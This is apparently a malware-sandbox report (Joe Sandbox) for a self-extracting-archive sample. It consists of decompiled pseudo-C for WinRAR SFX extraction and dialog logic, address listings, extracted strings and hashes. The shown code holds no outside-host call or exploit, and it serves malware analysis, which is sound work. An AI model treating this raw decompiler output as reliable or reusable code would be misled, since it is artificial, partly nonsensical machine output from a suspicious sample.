												 *((intOrPtr*)(_t318 - 0x30)) = 0x42a664;
												 *(_t318 - 0x2c) = 1;
												 *((intOrPtr*)(_t318 - 0x28)) = 0;
												_t223 = CreateFileMappingW(0xffffffff, 0, 0x8000004, 0, 0x7002, L"winrarsfxmappingfile.tmp");
												 *(_t318 + 0x10) = _t223;
												__eflags = _t223;
												if(_t223 != 0) {
													 *0x43a820 = 0;
													_t235 = GetCommandLineW();
													__eflags = _t235;
													if(_t235 != 0) {
														E00410B9C(0x43a822, _t235, 0x2000);
													}
													E0040D212(0x44387a, 0x43e822, 7);
													E0040D212(0x44387a, 0x43f822, 2);
													E0040D212(0x44387a, 0x440822, 0x10);
													 *(_t318 + 0x14) = MapViewOfFile( *(_t318 + 0x10), 2, 0, 0, 0);
													E0041C290(0, 0x7002, _t316, _t239, 0x43a820, 0x7002);
													_t320 = _t320 + 0xc;
												}
												_t225 = ShellExecuteExW(_t318 - 0x48);
												E0040CFA3(_t318 - 0x164, 0x80);
												E0040CFA3(_t318 - 0x9ca0, 0x230c);
												__eflags = _t225;
												if(_t225 == 0) {
													 *(_t318 + 0xf) = 1;
													goto L61;
												} else {
													WaitForInputIdle( *(_t318 - 0x10), 0x2710);
													_t312 = 0;
													__eflags = 0;
													while(1) {
														__eflags =  *( *(_t318 + 0x14));
														if( *( *(_t318 + 0x14)) != 0) {
															break;
														}
														Sleep(0x64);
														_t312 = _t312 + 1;
														__eflags = _t312 - 0x64;
														if(_t312 < 0x64) {
															continue;
														}
														break;
													}
													 *0x441868 =  *(_t318 - 0x10);
													L61:
													__eflags =  *(_t318 + 0x10);
													if( *(_t318 + 0x10) != 0) {
														UnmapViewOfFile( *(_t318 + 0x14));
														CloseHandle( *(_t318 + 0x10));
													}
													__eflags =  *(_t318 + 0xf);
													if( *(_t318 + 0xf) == 0) {
														goto L65;
													} else {
														goto L64;
													}
												}
											}
											E0040BC16(_t318 - 0x1164, _t308, L"__tmp_rar_sfx_access_check_%u", GetTickCount());
											_t320 = _t320 + 0x10;
											E00408786(_t318 - 0x5688);
											 *(_t318 - 4) = 0;
											_t247 = E00408923(_t318 - 0x5688, _t318 - 0x1164, 0x11); // executed
											 *(_t318 + 0x13) = _t247;
											__eflags = _t247;
											if(_t247 == 0) {
												_t249 = GetLastError();
												__eflags = _t249 - 5;
												if(_t249 == 5) {
													 *(_t318 + 0xf) = 1;
												}
											}
											_t42 = _t318 - 4;
											 *_t42 =  *(_t318 - 4) | 0xffffffff;
											__eflags =  *_t42;
											_t283 = _t318 - 0x5688;
											E00408C7D(0, _t318 - 0x5688);
											goto L47;
										}
									} else {
										_t251 = GetLastError();
										__eflags = _t251 - 5;
										if(_t251 == 5) {
											L37:
											 *(_t318 + 0xf) = 1;
											goto L38;
										}
										__eflags = _t251 - 3;
										if(_t251 != 3) {
											goto L38;
										}
										goto L37;
									}
								}
								 *0x44183c = 1;
								_t303 = 1;
								goto L75;
							}
							__eflags =  *0x441832;
							if( *0x441832 != 0) {
								 *0x44183c = 1;
							}
							_push(1);
							goto L66;
						} else {
							__eflags =  *0x44ef30;
							_t256 = _t161 & 0xffffff00 |  *0x44ef30 == 0x00000000;
							__eflags = _t256;
							 *0x44ef30 = _t256;
							SetDlgItemTextW(_t316, 1, E0040C3BF((0 | _t256 != 0x00000000) + 0xe6));
							while(1) {
								__eflags =  *0x44ef30;
								if( *0x44ef30 == 0) {
									break;
								}
								__eflags =  *0x44183c;
								if( *0x44183c != 0) {
									break;
								}
								_t260 = GetMessageW(_t318 - 0x64, 0, 0, 0);
								__eflags = _t260;
								if(_t260 == 0) {
									break;
								} else {
									_t262 = IsDialogMessageW(_t316, _t318 - 0x64);
									__eflags = _t262;
									if(_t262 == 0) {
										TranslateMessage(_t318 - 0x64);
										DispatchMessageW(_t318 - 0x64);
									}
									continue;
								}
							}
							L67:
							_t128 = 1;
							goto L126;
						}
					}
					_t267 = _t161 - 1;
					__eflags = _t267;
					if(_t267 == 0) {
						 *0x44183c = 1;
						__eflags =  *0x441834;
						if( *0x441834 == 0) {
							goto L65;
						}
						__eflags =  *0x441838;
						if( *0x441838 != 0) {
							goto L67;
						} else {
							goto L65;
						}
					}
					__eflags = _t267 == 0x65;
					if(_t267 == 0x65) {
						_t271 = E004050E8(_t316, E0040C3BF(0x64), _t318 - 0x1164); // executed
						__eflags = _t271;
						if(_t271 != 0) {
							SetDlgItemTextW(_t316, 0x66, _t318 - 0x1164); // executed
						}
						goto L67;
					}
					goto L7;
				} else {
					_t128 = 1;
					L127:
					 *[fs:0x0] =  *((intOrPtr*)(_t318 - 0xc));
					return _t128;
				}
			}

0x0040f58d
0x0040f58d
0x0040f58d
0x0040f592
0x0040f59c
0x0040f5a3
0x0040f5b9
0x0040f5c0
0x0040f5cd
0x0040f5cd
0x0040f5d3
0x0040fc0e
0x0040fc13
0x0040fc19
0x0040fc1f
0x0040fc21
0x0040fc2c
0x0040fc2c
0x0040fc32
0x0040fc37
0x0040fc39
0x0040fc45
0x0040fc45
0x0040fc4c
0x0040fc5a
0x0040fc68
0x0040fc6b
0x0040fc7d
0x0040fc87
0x0040fc8a
0x0040fc8f
0x0040fc96
0x0040fc98
0x0040fc98
0x0040fca2
0x0040fcab
0x0040fcb0
0x0040fcb5
0x0040fcba
0x0040fcbf
0x0040fcc0
0x0040fcc6
0x0040fccb
0x0040fcd1
0x0040fcd3
0x0040fcd5
0x0040fcdb
0x0040fcdc
0x0040fcdc
0x0040fce1
0x0040fce7
0x0040fd17
0x0040fd17
0x0040fce9
0x0040fcf7
0x0040fd02
0x0040fd0a
0x0040fd0d
0x0040fd0d
0x0040fd18
0x0040fd1e
0x0040fdc1
0x0040fdc1
0x0040fdc7
0x0040fe6a
0x0040fe6a
0x0040fe71
0x0040fe77
0x0040fe77
0x0040fe7d
0x0040fe83
0x0040fe89
0x0040fe92
0x0040fe92
0x0040fe97
0x0040fe9c
0x0040fe9e
0x0040fea0
0x0040fea6
0x0040fea8
0x0040fea9
0x0040feaa
0x0040feaf
0x0040feb0
0x0040feb2
0x0040febc
0x0040feb4
0x0040feb4
0x0040feb4
0x0040feb2
0x0040fea6
0x0040fec2
0x0040fec8
0x0040fed7
0x0040fed7
0x00000000
0x0040fec8
0x0040fdcd
0x0040fdd3
0x00000000
0x00000000
0x0040fdd9
0x0040fddf
0x00000000
0x00000000
0x0040fde5
0x0040fdec
0x0040fdf3
0x0040fdf6
0x0040fdf6
0x0040fdf9
0x0040fe03
0x0040fe03
0x0040fe0a
0x0040fe14
0x0040fe20
0x0040fe37
0x00000000
0x0040fe3d
0x0040fe0c
0x0040fe12
0x00000000
0x00000000
0x00000000
0x0040fe12
0x0040fdfb
0x0040fe01
0x00000000
0x00000000
0x00000000
0x0040fe3e
0x0040fe3e
0x0040fe41
0x0040fe41
0x0040fe4a
0x0040fe62
0x0040fe69
0x0040fe69
0x00000000
0x0040fd24
0x0040fd24
0x0040fd25
0x0040fd2b
0x0040fd2c
0x0040fd31
0x0040fd36
0x0040fd38
0x0040fd3a
0x0040fd40
0x0040fd42
0x0040fd54
0x0040fd59
0x0040fd5f
0x0040fd64
0x0040fd40
0x0040fd65
0x0040fd6b
0x0040fdb4
0x0040fdb4
0x0040fdb5
0x0040fdbb
0x0040fdbc
0x00000000
0x0040fd6d
0x0040fd6e
0x0040fd74
0x0040fd7a
0x00000000
0x00000000
0x0040fd7c
0x0040fd82
0x00000000
0x00000000
0x0040fd96
0x0040fd9c
0x0040fd9e
0x00000000
0x00000000
0x0040fda0
0x0040fda7
0x0040fda9
0x0040fedd
0x0040fedd
0x0040fedf
0x00000000
0x0040fedf
0x0040fd6b
0x0040fd1e
0x0040f5d9
0x0040f5da
0x0040f5eb
0x0040f5eb
0x00000000
0x0040f5eb
0x0040f5e0
0x0040f5e0
0x0040f5e1
0x0040f648
0x0040f64e
0x0040f6ce
0x0040f6de
0x0040f6e4
0x0040f6ea
0x0040f702
0x0040f708
0x0040f71c
0x0040f722
0x0040f725
0x0040f72b
0x0040f73c
0x0040f74c
0x0040f74e
0x0040f74e
0x0040f756
0x0040f75c
0x0040f762
0x0040f77f
0x0040f78c
0x0040f7af
0x0040f7b4
0x0040f7b7
0x0040f764
0x0040f769
0x0040f769
0x0040f7bf
0x0040f7c4
0x0040f7ca
0x0040f7d3
0x0040f7d3
0x0040f7e0
0x0040f7e3
0x0040f7e8
0x0040f7ea
0x0040f800
0x0040f807
0x0040f80c
0x0040f80f
0x0040f811
0x0040f813
0x0040f819
0x0040f81c
0x0040f81e
0x0040f81e
0x0040f81c
0x0040f822
0x0040f828
0x0040f892
0x0040f892
0x0040f895
0x0040fab9
0x0040fabb
0x0040fac1
0x0040faca
0x0040fadc
0x0040fae6
0x0040faf3
0x0040fafc
0x0040fb02
0x0040fb05
0x0040fb07
0x0040fb12
0x0040fb12
0x0040fb1d
0x0040fb1d
0x0040fb23
0x0040fb25
0x0040fb2b
0x0040fb2c
0x0040fb31
0x0040fb33
0x0040fb39
0x0040fb3a
0x0040fb3f
0x0040fb44
0x0040fb45
0x0040fb4c
0x0040fb51
0x0040fb53
0x0040fb59
0x0040fb5f
0x0040fb60
0x0040fb65
0x0040fb6b
0x0040fb6d
0x0040fb73
0x0040fb75
0x0040fb7b
0x0040fb7d
0x0040fb7f
0x0040fb85
0x0040fb86
0x0040fb86
0x0040fb7b
0x0040fb73
0x0040fb8e
0x0040fb93
0x0040fb99
0x0040fb99
0x0040fb9f
0x00000000
0x00000000
0x0040fba5
0x0040fbab
0x00000000
0x00000000
0x0040fbb6
0x0040fbc5
0x0040fbcb
0x0040fbd0
0x0040fbd3
0x0040fbde
0x0040fbe8
0x0040fbe8
0x0040fbd5
0x0040fbd5
0x0040fbd5
0x0040fbf5
0x0040fc03
0x00000000
0x0040fc03
0x0040f89b
0x0040f8a1
0x0040f8a3
0x0040f8a3
0x00000000
0x0040f82a
0x0040f82a
0x0040f82d
0x0040f8a6
0x0040f8a6
0x0040f8a9
0x0040f8ad
0x0040f8b0
0x0040fa4c
0x0040fa56
0x0040fa6f
0x0040fa7e
0x0040fa98
0x0040fa9e
0x0040fa9e
0x0040faa4
0x0040faa4
0x0040faa5
0x0040faa6
0x00000000
0x0040faa6
0x0040f8c3
0x0040f8da
0x0040f8df
0x0040f8ea
0x0040f903
0x0040f908
0x0040f922
0x0040f92e
0x0040f935
0x0040f93c
0x0040f93f
0x0040f946
0x0040f949
0x0040f950
0x0040f957
0x0040f95a
0x0040f960
0x0040f963
0x0040f965
0x0040f967
0x0040f96d
0x0040f973
0x0040f975
0x0040f982
0x0040f982
0x0040f98e
0x0040f99a
0x0040f9a6
0x0040f9c0
0x0040f9c3
0x0040f9c8
0x0040f9c8
0x0040f9cf
0x0040f9e3
0x0040f9f4
0x0040f9f9
0x0040f9fb
0x0040fa2c
0x00000000
0x0040f9fd
0x0040fa05
0x0040fa0b
0x0040fa0b
0x0040fa0d
0x0040fa10
0x0040fa12
0x00000000
0x00000000
0x0040fa16
0x0040fa1c
0x0040fa1d
0x0040fa20
0x00000000
0x00000000
0x00000000
0x0040fa20
0x0040fa25
0x0040fa30
0x0040fa30
0x0040fa33
0x0040fa38
0x0040fa41
0x0040fa41
0x0040fa47
0x0040fa4a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040fa4a
0x0040f9fb
0x0040f843
0x0040f848
0x0040f851
0x0040f865
0x0040f868
0x0040f86d
0x0040f870
0x0040f872
0x0040f874
0x0040f87a
0x0040f87d
0x0040f87f
0x0040f87f
0x0040f87d
0x0040f883
0x0040f883
0x0040f883
0x0040f887
0x0040f88d
0x00000000
0x0040f88d
0x0040f7ec
0x0040f7ec
0x0040f7f2
0x0040f7f5
0x0040f7fc
0x0040f7fc
0x00000000
0x0040f7fc
0x0040f7f7
0x0040f7fa
0x00000000
0x00000000
0x00000000
0x0040f7fa
0x0040f7ea
0x0040f70c
0x0040f713
0x00000000
0x0040f713
0x0040f6ec
0x0040f6f2
0x0040f6f4
0x0040f6f4
0x0040f6fb
0x00000000
0x0040f650
0x0040f650
0x0040f656
0x0040f65b
0x0040f660
0x0040f675
0x0040f6c1
0x0040f6c1
0x0040f6c7
0x0040f6c9
0x0040f6c9
0x0040f67d
0x0040f683
0x00000000
0x00000000
0x0040f690
0x0040f696
0x0040f698
0x00000000
0x0040f69e
0x0040f6a3
0x0040f6a9
0x0040f6ab
0x0040f6b1
0x0040f6bb
0x0040f6bb
0x00000000
0x0040f6ab
0x0040f698
0x0040faac
0x0040faae
0x00000000
0x0040faae
0x0040f64e
0x0040f5e3
0x0040f5e3
0x0040f5e4
0x0040f624
0x0040f62b
0x0040f631
0x00000000
0x00000000
0x0040f637
0x0040f63d
0x00000000
0x0040f643
0x00000000
0x0040f643
0x0040f63d
0x0040f5e6
0x0040f5e9
0x0040f602
0x0040f607
0x0040f609
0x0040f619
0x0040f619
0x00000000
0x0040f609
0x00000000
0x0040f5c2
0x0040f5c4
0x0040fee0
0x0040fee5
0x0040feed
0x0040feed

APIs

__EH_prolog.LIBCMT ref: 0040F592

Strings

z8D, xrefs: 0040F8D5
LICENSEDLG, xrefs: 0040FD8B
<, xrefs: 0040F92E
-el -s2 "-d%s" "-p%s" "-sp%s", xrefs: 0040F8F2
"%s"%s, xrefs: 0040FA5E
__tmp_rar_sfx_access_check_%u, xrefs: 0040F836
STARTDLG, xrefs: 0040F5AA
winrarsfxmappingfile.tmp, xrefs: 0040F90B
@, xrefs: 0040F935

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID: "%s"%s$-el -s2 "-d%s" "-p%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp$z8D
API String ID: 3519838083-129321368
Opcode ID: 5390635a82d40dd247dc332e133fe5e3a78f65614b9a33f3b952f72cb076c8e5
Instruction ID: cc4c1e380d3e9e53cf766c3de9df5bd6880f95cbde9f973ccf433d51db550174
Opcode Fuzzy Hash: 5390635a82d40dd247dc332e133fe5e3a78f65614b9a33f3b952f72cb076c8e5
Instruction Fuzzy Hash: C732C371540248BFEB31BF619C85E9B3A68EB06304F44407BF901B61E2DB794999CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E857 Relevance: 73.9, APIs: 35, Strings: 7, Instructions: 411
windowfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E0040E857(void* __esi) {
				intOrPtr _t271;
				void* _t274;
				void* _t349;
				short* _t352;
				void* _t354;

				E0041A4DC(E004297C6, _t354);
				_t271 = E0041AAF0(0x1bc84);
				if( *((intOrPtr*)(_t354 + 0xc)) == 0) {
					L165:
					 *[fs:0x0] =  *((intOrPtr*)(_t354 - 0xc));
					return _t271;
				}
				_t271 = E0040D781(_t354 - 0x11, _t354 - 0xec90, __esi,  *((intOrPtr*)(_t354 + 0xc)), _t354 - 0x4440, _t354 + 0xf, 0x1000);
				 *((intOrPtr*)(_t354 + 0xc)) = _t271;
				if(_t271 != 0) {
					_push(__esi);
					do {
						_t349 = GetFileAttributesW;
						_t336 = _t354 - 0x1bc90;
						_t352 = 0x438818;
						_t274 = _t354 - 0x4440;
						 *(_t354 - 0x10) = _t354 - 0x1bc90;
						 *((intOrPtr*)(_t354 - 0x18)) = 6;
						goto L4;
						L6:
						while(E00411E60(_t354 - 0xec90,  *((intOrPtr*)(0x430100 +  *(_t354 - 0x10) * 4))) != 0) {
							 *(_t354 - 0x10) =  *(_t354 - 0x10) + 1;
							if( *(_t354 - 0x10) < 0xe) {
								continue;
							} else {
								goto L163;
							}
						}
						if( *(_t354 - 0x10) > 0xd) {
							goto L163;
						}
						switch( *((intOrPtr*)( *(_t354 - 0x10) * 4 +  &M0040F443))) {
							case 0:
								__eflags =  *((intOrPtr*)(_t354 + 0x10)) - 2;
								if( *((intOrPtr*)(_t354 + 0x10)) != 2) {
									goto L163;
								}
								E00419C9B(_t354 - 0x8c90, 0x800);
								E0040A146(_t354 - 0x8c90, _t354 - 0x4440, _t354 - 0xfc90, 0x800);
								E00409433(_t354 - 0x7c90);
								 *(_t354 - 4) =  *(_t354 - 4) & 0x00000000;
								E0040945C(_t354 - 0x7c90, _t354 - 0xfc90);
								E004067E1(_t354 - 0x5c88);
								_push(0);
								_t292 = E0040960E(_t354 - 0x7c90, _t347, _t354 - 0x5c88);
								__eflags = _t292;
								if(_t292 == 0) {
									L27:
									 *(_t354 - 4) =  *(_t354 - 4) | 0xffffffff;
									E00409449(_t354 - 0x7c90);
									goto L163;
								} else {
									_t352 = L"%s.%d.tmp";
									do {
										SetFileAttributesW(_t354 - 0x5c88, 0);
										__eflags =  *((char*)(_t354 - 0x4c7c));
										if(__eflags == 0) {
											L19:
											_t297 = GetFileAttributesW(_t354 - 0x5c88);
											__eflags = _t297 - 0xffffffff;
											if(_t297 == 0xffffffff) {
												goto L26;
											}
											_t301 = DeleteFileW(_t354 - 0x5c88);
											__eflags = _t301;
											if(_t301 != 0) {
												goto L26;
											} else {
												 *(_t354 - 0x10) =  *(_t354 - 0x10) & _t301;
												_push(_t301);
												goto L23;
												L23:
												E0040BC16(_t354 - 0x1040, 0x800, _t352, _t354 - 0x5c88);
												_t356 = _t356 + 0x14;
												_t306 = GetFileAttributesW(_t354 - 0x1040);
												__eflags = _t306 - 0xffffffff;
												if(_t306 != 0xffffffff) {
													_t67 = _t354 - 0x10;
													 *_t67 =  *(_t354 - 0x10) + 1;
													__eflags =  *_t67;
													_push( *(_t354 - 0x10));
													goto L23;
												} else {
													_t309 = MoveFileW(_t354 - 0x5c88, _t354 - 0x1040);
													__eflags = _t309;
													if(_t309 != 0) {
														MoveFileExW(_t354 - 0x1040, 0, 4);
													}
													goto L26;
												}
											}
										}
										E0040AA7D(__eflags, _t354 - 0x8c90, _t354 - 0x1040, 0x800);
										E0040A116(__eflags, _t354 - 0x1040, 0x800);
										_t318 = E0041A7AF(_t354 - 0x8c90);
										 *((intOrPtr*)(_t354 - 0x18)) = _t318;
										__eflags = _t318 - 4;
										if(_t318 < 4) {
											L17:
											_t320 = E0040A0A4(_t354 - 0x4440);
											__eflags = _t320;
											if(_t320 != 0) {
												goto L27;
											}
											L18:
											_t322 = E0041A7AF(_t354 - 0x5c88);
											__eflags = 0;
											 *((short*)(_t354 + _t322 * 2 - 0x5c86)) = 0;
											E0041A820(_t349, _t354 - 0x40, 0, 0x1e);
											_t356 = _t356 + 0x10;
											_push(0x14);
											_pop(_t325);
											 *((short*)(_t354 - 0x30)) = _t325;
											 *((intOrPtr*)(_t354 - 0x38)) = _t354 - 0x5c88;
											 *((intOrPtr*)(_t354 - 0x3c)) = 3;
											SHFileOperationW(_t354 - 0x40);
											goto L19;
										}
										_t330 = E0041A7AF(_t354 - 0x1040);
										__eflags =  *((intOrPtr*)(_t354 - 0x18)) - _t330;
										if( *((intOrPtr*)(_t354 - 0x18)) > _t330) {
											goto L18;
										}
										goto L17;
										L26:
										_push(0);
										_t299 = E0040960E(_t354 - 0x7c90, _t347, _t354 - 0x5c88);
										__eflags = _t299;
									} while (_t299 != 0);
									goto L27;
								}
							case 1:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) == 0) {
									__eax =  *0x441850;
									__eflags = __eax;
									 *((char*)(__ebp - 0x12)) = __eax == 0;
									__eflags =  *((char*)(__ebp - 0x12));
									if( *((char*)(__ebp - 0x12)) == 0) {
										__eax = E0041A7C9(__eax, L"<br>");
										_pop(__ecx);
										_pop(__ecx);
									}
									__eflags =  *((char*)(__ebp - 0x11));
									if(__eflags == 0) {
										__edi = __ebp + 0xc;
										__edi = E0040D92D(__ebp + 0xc, __eflags);
									} else {
										__edi = __ebp - 0x4440;
									}
									__eflags =  *((char*)(__ebp - 0x12));
									if( *((char*)(__ebp - 0x12)) == 0) {
										__esi = E0041A7AF( *0x441850);
									} else {
										__esi = 0;
									}
									__eax = E0041A7AF(__edi);
									__eax = __eax + __esi;
									_push(__eax);
									_push( *0x441850);
									__eax = E0041A594(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 0xc;
									__eflags =  *((char*)(__ebp - 0x12));
									 *0x441850 = __eax;
									if( *((char*)(__ebp - 0x12)) != 0) {
										__ecx = 0;
										__eflags = 0;
										 *__eax = __cx;
									}
									__eax = E0041A7C9(__eax, __edi);
									__eflags =  *((char*)(__ebp - 0x11));
									_pop(__ecx);
									_pop(__ecx);
									if(__eflags == 0) {
										_push(__edi);
										__eax = E0041A506(__ebx, __edi, __esi, __eflags);
										_pop(__ecx);
									}
								}
								goto L163;
							case 2:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) == 0) {
									__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
								}
								goto L163;
							case 3:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) != 0) {
									goto L163;
								}
								__eflags =  *0x44187a;
								if( *0x44187a != 0) {
									goto L163;
								}
								__eax = 0;
								__eflags =  *(__ebp - 0x4440) - 0x22;
								__edi = __ebp - 0x4440;
								 *(__ebp - 0x18) = __edi;
								 *(__ebp - 0x1040) = __ax;
								if( *(__ebp - 0x4440) == 0x22) {
									__edi = __ebp - 0x443e;
									 *(__ebp - 0x18) = __edi;
								}
								__eax = E0041A7AF(__edi);
								__eflags = __eax - __ebx;
								if(__eax >= __ebx) {
									goto L163;
								} else {
									__eax = __edi->i & 0x0000ffff;
									__eflags = __ax - 0x2e;
									if(__ax != 0x2e) {
										L52:
										__eflags = __ax - 0x5c;
										if(__ax == 0x5c) {
											L64:
											_push(__edi);
											L65:
											__eax = __ebp - 0x1040;
											_push(__ebp - 0x1040);
											__eax = E0041A7F7();
											L66:
											_pop(__ecx);
											_pop(__ecx);
											L67:
											__eax = __ebp - 0x1040;
											__eax = E0041CA4F(__ebp - 0x1040, 0x22);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__eflags =  *((short*)(2 + __eax));
												if( *((short*)(2 + __eax)) == 0) {
													__ecx = 0;
													__eflags = 0;
													 *__eax = __cx;
												}
											}
											__ebp - 0x1040 = E0041A7F7(__esi, __ebp - 0x1040);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0x1040 = E0040DB16(__esi, __ebp - 0x1040, __ebx); // executed
											__edi = GetDlgItem( *(__ebp + 8), 0x66);
											__ebp - 0x1040 = SetWindowTextW(__edi, __ebp - 0x1040); // executed
											__eax = SendMessageW(__edi, 0x143, 0, __esi); // executed
											__eax = __ebp - 0x1040;
											__eax = E0041AA21(__esi, __ebp - 0x1040);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__ebp - 0x1040 = SendMessageW(__edi, 0x143, 0, __ebp - 0x1040);
											}
											goto L163;
										}
										__eflags = __ax;
										if(__ax == 0) {
											L55:
											__eax = __ebp - 0x1c;
											__eax = RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion", 0, 1, __ebp - 0x1c);
											__eflags = __eax;
											if(__eax == 0) {
												__ebp - 0x10 = __ebp - 0x1040;
												__eax = __ebp - 0x20;
												 *(__ebp - 0x10) = 0x1000;
												RegQueryValueExW( *(__ebp - 0x1c), L"ProgramFilesDir", 0, __ebp - 0x20, __ebp - 0x1040, __ebp - 0x10) = RegCloseKey( *(__ebp - 0x1c));
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eax = 0x7ff;
												__eflags =  *(__ebp - 0x10) - 0x7ff;
												if( *(__ebp - 0x10) < 0x7ff) {
													__eax =  *(__ebp - 0x10);
												}
												__ecx = 0;
												__eflags = 0;
												 *(__ebp + __eax * 2 - 0x1040) = __cx;
											}
											__eflags =  *(__ebp - 0x1040);
											if( *(__ebp - 0x1040) != 0) {
												__eax = __ebp - 0x1040;
												__eax = E0041A7AF(__ebp - 0x1040);
												__eflags =  *((short*)(__ebp + __eax * 2 - 0x1042)) - 0x5c;
												if( *((short*)(__ebp + __eax * 2 - 0x1042)) != 0x5c) {
													__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040, "\\");
													_pop(__ecx);
													_pop(__ecx);
												}
											}
											__edi = E0041A7AF(__edi);
											__eax = __ebp - 0x1040;
											__edi = __edi + E0041A7AF(__ebp - 0x1040);
											__eflags = __edi - 0x7ff;
											if(__edi >= 0x7ff) {
												goto L67;
											} else {
												__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040,  *(__ebp - 0x18));
												goto L66;
											}
										}
										__eflags = __edi->i - 0x3a;
										if(__edi->i == 0x3a) {
											goto L64;
										}
										goto L55;
									}
									__eflags = __edi->i - 0x5c;
									if(__edi->i != 0x5c) {
										goto L52;
									}
									_t103 = __edi + 4; // 0x26
									__eax = _t103;
									__eflags =  *__eax;
									if( *__eax == 0) {
										goto L163;
									}
									_push(__eax);
									goto L65;
								}
							case 4:
								__eflags =  *0x441874 - 1;
								__eflags = __eax - 0x441874;
								__edi->i = __edi->i + __ecx;
								__eflags = __edi->i & __dh;
								_push(es);
								 *__eax =  *__eax + __al;
								__eflags =  *__eax;
							case 5:
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eflags = __eax;
								if(__eax == 0) {
									L84:
									 *0x441831 = 0;
									 *0x441830 = 1;
									goto L163;
								}
								__eax = __eax - 0x30;
								__eflags = __eax;
								if(__eax == 0) {
									 *0x441831 = 0;
									L83:
									 *0x441830 = 0;
									goto L163;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax == 0) {
									goto L84;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax != 0) {
									goto L163;
								}
								 *0x441831 = 1;
								goto L83;
							case 6:
								__eflags =  *(__ebp + 0x10) - 4;
								if( *(__ebp + 0x10) != 4) {
									goto L94;
								}
								__eax = __ebp - 0x4440;
								__eax = E0041AA21(__ebp - 0x4440, L"<>");
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax == 0) {
									goto L94;
								}
								_push(0);
								goto L93;
							case 7:
								__eflags =  *(__ebp + 0x10) - 1;
								if(__eflags != 0) {
									L114:
									__eflags =  *(__ebp + 0x10) - 7;
									if( *(__ebp + 0x10) == 7) {
										__eflags =  *0x441874;
										if( *0x441874 == 0) {
											 *0x441874 = 2;
										}
										 *0x441870 = 1;
									}
									goto L163;
								}
								__ebp - 0x8c90 = GetTempPathW(__ebx, __ebp - 0x8c90);
								__ebp - 0x8c90 = E0040A116(__eflags, __ebp - 0x8c90, __ebx);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
								_push(0);
								__esi = L"%s%s%d";
								while(1) {
									_push( *0x4300c8);
									__ebp - 0x8c90 = __ebp - 0x1040;
									E0040BC16(__ebp - 0x1040, __ebx, __esi, __ebp - 0x8c90) = __ebp - 0x1040;
									_push(__ebp - 0x1040);
									__eax = __edi->i();
									__eflags = __eax - 0xffffffff;
									if(__eax == 0xffffffff) {
										break;
									}
									_t152 = __ebp - 0x10;
									 *_t152 =  *(__ebp - 0x10) + 1;
									__eflags =  *_t152;
									_push( *(__ebp - 0x10));
								}
								__ebp - 0x1040 = SetDlgItemTextW( *(__ebp + 8), 0x66, __ebp - 0x1040);
								__eflags =  *(__ebp - 0x4440);
								if( *(__ebp - 0x4440) == 0) {
									goto L163;
								}
								__eflags =  *0x44184a;
								if( *0x44184a != 0) {
									goto L163;
								}
								__eax = 0;
								 *(__ebp - 0x1440) = __ax;
								__eax = __ebp - 0x4440;
								__eax = E0041CA29(__ebp - 0x4440, 0x2c);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax != 0) {
									L110:
									__eflags =  *(__ebp - 0x1440);
									if( *(__ebp - 0x1440) == 0) {
										__ebp - 0x1bc90 = __ebp - 0x4440;
										E0041A7F7(__ebp - 0x4440, __ebp - 0x1bc90) = __ebp - 0x19c90;
										__ebp - 0x1440 = E0041A7F7(__ebp - 0x1440, __ebp - 0x19c90);
									}
									__ebp - 0x4440 = E0040D24C(__ebp - 0x4440);
									__eax = 0;
									 *(__ebp - 0x3440) = __ax;
									__ebp - 0x1440 = __ebp - 0x4440;
									__eax = MessageBoxW( *(__ebp + 8), __ebp - 0x4440, __ebp - 0x1440, 0x24);
									__eflags = __eax - 6;
									if(__eax == 6) {
										goto L163;
									} else {
										 *0x441849 = 1;
										 *0x44183c = 1;
										__eax = EndDialog( *(__ebp + 8), 1);
										goto L114;
									}
								}
								__ecx = 0;
								__eflags =  *(__ebp - 0x4440) - __cx;
								if( *(__ebp - 0x4440) == __cx) {
									goto L110;
								}
								__eax = __ebp - 0x4440;
								while(1) {
									__eflags =  *__eax - 0x40;
									if( *__eax == 0x40) {
										break;
									}
									__ecx = __ecx + 1;
									__eax = __ebp + __ecx * 2 - 0x4440;
									__eflags =  *__eax;
									if( *__eax != 0) {
										continue;
									}
									goto L110;
								}
								__esi = __ecx + __ecx;
								__ebp + __esi - 0x443e = __ebp - 0x1440;
								__eax = E0041A7F7(__ebp - 0x1440, __ebp + __esi - 0x443e);
								_pop(__ecx);
